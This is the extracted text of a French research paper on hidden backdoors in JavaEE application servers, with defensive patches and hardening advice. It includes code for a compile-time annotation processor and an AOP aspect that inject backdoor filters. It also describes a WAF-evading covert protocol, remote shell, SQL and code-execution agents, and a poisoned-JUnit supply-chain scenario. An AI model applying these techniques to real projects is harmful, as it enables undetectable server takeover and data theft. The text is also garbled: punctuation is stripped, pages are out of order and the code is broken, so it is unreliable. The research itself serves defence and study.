Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
